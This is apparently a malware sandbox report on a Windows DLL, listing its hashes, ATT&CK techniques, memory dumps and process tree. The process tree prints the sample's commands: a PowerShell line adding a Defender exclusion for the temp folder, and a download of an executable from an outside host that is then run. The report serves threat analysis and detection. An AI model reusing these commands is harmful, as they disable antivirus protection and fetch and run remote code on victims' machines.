4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e

Resubmissions

15-12-2024 15:31

241215-syg9xaykdx 8

15-12-2024 08:28

241215-kc625synes 10

Analysis

max time kernel
81s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-12-2024 15:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fccd129f6a5b9d2133d14922a3614f02.dll
Size

206KB
MD5

fccd129f6a5b9d2133d14922a3614f02
SHA1

e814c637e6f0c21f3aa9b43fb92cb161b4d451fc
SHA256

4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e
SHA512

c1594504053bbe2b061880d1ff69819eca8bdd2bc882b74f415ff8a1515389e32b8d7cd1b931d65b042247fd05df1751a000d6da4219427b74e9cdb0e0e52979
SSDEEP

3072:4pEegLluZoATP/QGdqlhNFIkiFnZDJVvU1nSXZOAg0Fuj0pJgOgpQkV+tpMEaE:4pDyp2AQq3FWFnRehAOXpQkY7MY

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe
2800	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2648	powershell.exe
2800	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 3024 wrote to memory of 2724	3024	rundll32.exe	31
PID 2724 wrote to memory of 2392	2724	rundll32.exe	32
PID 2724 wrote to memory of 2392	2724	rundll32.exe	32
PID 2724 wrote to memory of 2392	2724	rundll32.exe	32
PID 2724 wrote to memory of 2392	2724	rundll32.exe	32
PID 2392 wrote to memory of 2648	2392	cmd.exe	34
PID 2392 wrote to memory of 2648	2392	cmd.exe	34
PID 2392 wrote to memory of 2648	2392	cmd.exe	34
PID 2392 wrote to memory of 2648	2392	cmd.exe	34
PID 2724 wrote to memory of 2384	2724	rundll32.exe	35
PID 2724 wrote to memory of 2384	2724	rundll32.exe	35
PID 2724 wrote to memory of 2384	2724	rundll32.exe	35
PID 2724 wrote to memory of 2384	2724	rundll32.exe	35
PID 2384 wrote to memory of 2800	2384	cmd.exe	37
PID 2384 wrote to memory of 2800	2384	cmd.exe	37
PID 2384 wrote to memory of 2800	2384	cmd.exe	37
PID 2384 wrote to memory of 2800	2384	cmd.exe	37
PID 2724 wrote to memory of 292	2724	rundll32.exe	38
PID 2724 wrote to memory of 292	2724	rundll32.exe	38
PID 2724 wrote to memory of 292	2724	rundll32.exe	38
PID 2724 wrote to memory of 292	2724	rundll32.exe	38

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fccd129f6a5b9d2133d14922a3614f02.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\fccd129f6a5b9d2133d14922a3614f02.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2800
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c %temp%/eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d3cb3ff8f8e0b639ddb3c1426a03ffd7

SHA1
30cc99b3fa5bbb796715e0a55a66fe6bac3ea9cc

SHA256
eae571ebb1223529cefc072731d2a528fd7e825adfb841f5e46ce7fd8ab24c35

SHA512
1938be34e9c1be06b19d11aac3af59f0e7b4216d7c7c6956176bfaf1a21fb411e44bc13eb726dc82a3f5bfd7b3633314e7c08645fe9ea21cfd0dc98fcbb0531d

Download Submit
memory/2648-2-0x0000000074061000-0x0000000074062000-memory.dmp

Filesize
4KB

Download
memory/2648-3-0x0000000074060000-0x000000007460B000-memory.dmp

Filesize
5.7MB

Download
memory/2648-4-0x0000000074060000-0x000000007460B000-memory.dmp

Filesize
5.7MB

Download
memory/2648-5-0x0000000074060000-0x000000007460B000-memory.dmp

Filesize
5.7MB

Download
memory/2648-6-0x0000000074060000-0x000000007460B000-memory.dmp

Filesize
5.7MB

Download